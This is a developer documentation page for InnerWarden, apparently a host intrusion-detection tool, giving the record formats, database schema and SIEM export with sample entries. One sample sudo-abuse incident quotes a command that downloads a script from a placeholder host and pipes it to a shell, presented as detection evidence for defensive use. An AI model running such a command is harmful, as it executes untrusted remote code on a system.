Skip to content
How it works

Data Formats: Events, Incidents, and Decisions

The exact JSONL line shapes, SQLite schema, and CEF/syslog export for InnerWarden events, incidents, and decisions, with field-by-field tables.

Data Formats

For: developers building on InnerWarden's output, and SIEM integrators wiring it into Splunk, Elastic, or an ArcSight pipeline. You'll get the exact JSONL line shapes, the SQLite schema, and the CEF/syslog export, with field tables you can map against.

The plain version first: InnerWarden writes three kinds of record, events (something happened), incidents (something happened that matters), and decisions (what InnerWarden did about it). Everything lives on the box. The canonical store is a single SQLite database; JSONL files are written alongside for streaming, telemetry, and easy jq-style consumption. If you want to ship records to a SIEM, there's a CEF-over-syslog sink. No record ever leaves the host unless you configure a sink that sends it.

Three rules worth knowing before you parse anything:

  • Timestamps are RFC 3339 / ISO 8601 UTC (2026-03-12T05:00:00Z).
  • The details / data field is open. Every record carries a structured detail object whose keys depend on the kind or detector. Treat known keys as known and ignore the rest, new keys get added without a schema bump. Keep it under ~16KB; InnerWarden does too.
  • Decisions are hash-chained. Each decision record carries the SHA-256 of the previous one, so the audit trail is tamper-evident. Don't reorder them.

Retention (how long each record is kept) and GDPR export/erase are owned by Privacy and GDPR, not this page. Config keys that turn these outputs on or off (Redis URL, syslog host, data directory) are owned by Configuration. The detectors that produce these records are in What It Detects.


Where the records live

SurfaceWhat's thereUse it for
SQLite (innerwarden.db)The canonical store: events, incidents, decisions, cursors, graph snapshots, KV stateQuerying, the dashboard, the agent's own reads
JSONL (events-*.jsonl, incidents-*.jsonl, decisions-*.jsonl)Daily-rotated append-only linesStreaming, jq, log shippers, replay harnesses
Redis Streams (optional)innerwarden:events / innerwarden:incidentsHigh-throughput / multi-consumer deployments
Syslog CEF (optional)Events + incidents in ArcSight CEFAny SIEM that speaks syslog

The SQLite consolidation made the database the source of truth; JSONL is retained for telemetry and for anything that wants to tail a file. The two agree, the agent reads incidents from SQLite via a monotonic cursor.


Event line (events-*.jsonl)

One event per line. An event is a raw observation from a collector, most are info and never become an incident.

{
  "ts": "2026-03-12T05:00:00Z",
  "host": "demo-host",
  "source": "auth.log",
  "kind": "ssh.login_failed",
  "severity": "info",
  "summary": "Invalid user root from 1.2.3.4",
  "details": {"ip": "1.2.3.4", "user": "root"},
  "tags": ["auth", "ssh"]
}
FieldTypeMeaning
tsstring (RFC 3339 UTC)When it was observed
hoststringHost that produced it
sourcestringOrigin collector (auth.log, journald, auditd, ebpf, dns, ...)
kindstringThe event type, dotted (ssh.login_failed, shell.command_exec)
severitystringinfo | low | medium | high | critical
summarystringOne-line human-readable description
detailsobjectStructured payload, keys depend on kind
tagsstring[]Coarse labels for filtering

Shell audit events (when exec_audit is enabled)

The exec_audit collector adds command-execution events. The TTY-input variant has high privacy impact and is gated by config (see Configuration).

{
  "ts": "2026-03-13T18:10:00Z",
  "host": "demo-host",
  "source": "auditd",
  "kind": "shell.command_exec",
  "severity": "info",
  "summary": "Shell command executed: sudo ufw status",
  "details": {
    "audit_ts": "1711800000.123",
    "audit_id": "4242",
    "argc": 3,
    "argv": ["sudo", "ufw", "status"],
    "command": "sudo ufw status"
  },
  "tags": ["audit", "shell", "exec"]
}
{
  "ts": "2026-03-13T18:10:02Z",
  "host": "demo-host",
  "source": "auditd",
  "kind": "shell.tty_input",
  "severity": "low",
  "summary": "TTY input observed on pts0: ls -la\\r",
  "details": {
    "audit_ts": "1711800100.456",
    "audit_id": "5001",
    "tty": "pts0",
    "uid": "1000",
    "auid": "1000",
    "raw_hex": "6c73202d6c610d",
    "decoded_preview": "ls -la\\r"
  },
  "tags": ["audit", "shell", "tty"]
}

Incident line (incidents-*.jsonl)

An incident is a detector's verdict that a pattern of events matters. It carries the evidence and what to check.

{
  "ts": "2026-03-12T05:05:00Z",
  "host": "demo-host",
  "incident_id": "ssh_bruteforce:1.2.3.4:2026-03-12T05:05Z",
  "severity": "high",
  "title": "Possible SSH brute force",
  "summary": "12 failed SSH attempts from 1.2.3.4 in 5 minutes",
  "evidence": [{"kind": "ssh.login_failed", "count": 12}],
  "recommended_checks": ["Check auth.log for successful logins", "Consider fail2ban"],
  "tags": ["auth", "ssh", "bruteforce"]
}
FieldTypeMeaning
tsstring (RFC 3339 UTC)When the incident fired
hoststringHost the incident is about
incident_idstringStable id, usually <detector>:<entity>:<time-bucket>. Repeats of the same thing share an id so they group
severitystringlow | medium | high | critical
titlestringShort human title
summarystringWhat happened, in one sentence
evidenceobject[]The supporting events / counts
recommended_checksstring[]What an operator should verify
tagsstring[]Coarse labels

The incident_id is stable by design: a detector that keeps seeing the same attacker reuses the id rather than spamming new incidents, which is what lets the dashboard and notifications group them.

Example: a sudo_abuse incident

{
  "ts": "2026-03-13T18:20:00Z",
  "host": "demo-host",
  "incident_id": "sudo_abuse:deploy:2026-03-13T18:20Z",
  "severity": "critical",
  "title": "Suspicious sudo behavior detected for user deploy",
  "summary": "3 suspicious sudo commands by deploy in the last 300 seconds",
  "evidence": [{
    "kind": "sudo.command",
    "user": "deploy",
    "count": 3,
    "window_seconds": 300,
    "reasons": ["privilege_policy_change", "remote_script_execution"],
    "recent_commands": ["visudo", "curl -fsSL https://x | sh"]
  }],
  "tags": ["auth", "sudo", "privilege", "abuse"]
}

Decision line (decisions-*.jsonl)

A decision is what the agent did about an incident: the action, the confidence, whether it ran for real or in dry-run, and the reasoning. This is the audit trail, and it is hash-chained for tamper detection.

{
  "ts": "2026-03-12T05:05:30Z",
  "incident_id": "ssh_bruteforce:1.2.3.4:2026-03-12T05:05Z",
  "host": "demo-host",
  "ai_provider": "local_classifier",
  "action_type": "block_ip",
  "target_ip": "1.2.3.4",
  "skill_id": "block-ip-ufw",
  "confidence": 0.94,
  "auto_executed": true,
  "dry_run": false,
  "reason": "Repeated SSH brute force from a single source; no successful login observed.",
  "estimated_threat": "high",
  "execution_result": "ok",
  "prev_hash": "9f2c…",
  "decision_layer": "ai_local_warden"
}
FieldTypeMeaning
tsstring (RFC 3339 UTC)When the decision was made
incident_idstringThe incident this decision answers
hoststringHost the decision was made on
ai_providerstringWho decided: an LLM provider, local_classifier, abuseipdb, crowdsec, fail2ban:<jail>, telegram:<operator>, ...
action_typestringThe action tag (block_ip, ignore, suspend_user, ...)
target_ipstring | nullIP the action targets
target_userstring | nullUser the action targets (omitted when absent)
skill_idstring | nullThe concrete skill that ran (block-ip-ufw, kill-process, ...)
confidencenumber (0.0-1.0)How sure the decider was
auto_executedboolWhether it ran automatically (vs surfaced for review)
dry_runbooltrue = logged what it would do, did not act
reasonstringTextual reasoning
estimated_threatstringThe decider's threat estimate
execution_resultstringok, skipped, or failed: <why>
prev_hashstring | nullSHA-256 of the previous decision (the tamper-evidence chain)
decision_layerstring | nullWhich layer made the call: algorithm_gate, killchain_fast_path, correlation_rule, ai_local_warden, ai_llm, auto_rule, honeypot_post_session, observation_verifier, manual_operator

dry_run: true is the default posture on a fresh install: InnerWarden records the decision it would have made without acting, so you can verify its judgement before you arm enforcement. See Responding to Incidents for the lifecycle and Safe Observe and Allowlist for the never-blind workflow that leads up to arming.


The SQLite store (innerwarden.db)

The canonical store. One database replaces what used to be many JSON/redb artifacts. The columns mirror the JSONL fields, with the full record preserved in a data JSON column so nothing is lost in the projection.

events

ColumnTypeNotes
idINTEGER PK
tsTEXTRFC 3339 UTC
hostTEXT
sourceTEXT
kindTEXTindexed
severityTEXTindexed
summaryTEXT
dataTEXTfull event JSON (the details and tags live here)

incidents

ColumnTypeNotes
idINTEGER PK
tsTEXTRFC 3339 UTC
hostTEXT
incident_idTEXTUNIQUE, indexed
severityTEXTindexed
detectorTEXTwhich detector fired
titleTEXT
summaryTEXTnullable
dataTEXTfull incident JSON (evidence, recommended_checks, tags)
is_allowlistedINTEGER1 if the entity was trusted (partial-indexed)

decisions

ColumnTypeNotes
idINTEGER PK
tsTEXTRFC 3339 UTC
incident_idTEXTindexed
action_typeTEXTindexed
target_ipTEXTnullable
target_userTEXTnullable
confidenceREALnullable
auto_executedINTEGERbool
reasonTEXTnullable
prev_hashTEXTprevious row's hash
row_hashTEXTthis row's hash (the chain link)
dataTEXTfull decision JSON

Other tables in the same database hold cursors (agent_cursors, sensor_cursors), graph snapshots, KV state, and metric counters. They're internal plumbing; the three above are the ones you'll query.

Querying directly is fine for read-only reporting. The agent owns writes, so don't write to the database underneath it. To read records out programmatically, prefer the CLI (innerwarden get incidents, innerwarden get decisions, innerwarden get report) and the dashboard's JSON API over poking the file. Flags and the full command surface are in CLI Reference.


Redis Streams (optional)

When a Redis URL is configured, the sensor also publishes to two streams, innerwarden:events and innerwarden:incidents, with MAXLEN ~ trimming. Multiple consumers (the agent, plus any of your own) read independently via XREADGROUP consumer groups, so this is the path for high-throughput or multi-reader deployments. The payload on each stream entry is the same JSON shape as the JSONL line. Enable it in Configuration.


CEF / syslog export (SIEM integration)

The syslog_cef sink sends events and incidents to a remote syslog server in ArcSight Common Event Format, over UDP or TCP. Turn it on in config.toml (the sensor config):

[sinks.syslog]
enabled = true
host = "siem.corp"
port = 514
protocol = "udp"   # "udp" or "tcp"

The header is:

CEF:0|InnerWarden|Sensor|<version>|<signatureId>|<name>|<severity>|<extension>

For an event, the CEF fields map as:

CEF fieldSource
signatureIdevent kind
nameevent summary
severityevent severity (CEF 0-10 scale)
rt=event ts
src=source IP (when present in details)
shost=event host
cs1= / cs1Label=sourceevent source collector
dpid=process id (when present)
dproc=process comm (when present)
dst=destination IP (when present)
dpt=destination port (when present)

For an incident, the extension carries rt= (timestamp), src= (source IP), shost= (host), and msg= (the incident summary); the signatureId is the incident_id and the name is the incident title. CEF special characters (|, =, \) are escaped in every field.

This is the drop-in path for Splunk, Elastic, QRadar, Sentinel, or any syslog-capable SIEM, no parser to write, the events arrive as standard CEF. Configuration details and the full sink list are in Configuration.


Other on-disk records

A few specialised records have their own files and are documented where they're used rather than here:

  • Honeypot sessions (honeypot/listener-session-*.json and .jsonl, plus optional .pcap): session metadata, per-connection forensic evidence, and bounded packet captures. See Responding to Incidents for the honeypot flow.
  • Telemetry (telemetry-*.jsonl): operational snapshots (collector/detector status, gate, AI latency, error counts). Retention for these is in Privacy and GDPR.
  • Daily summaries and trial reports (summary-*.md, trial-report-*.{md,json}): human-readable narratives generated by the agent.

For the validation checks that keep these formats honest and the broader pipeline, see Architecture.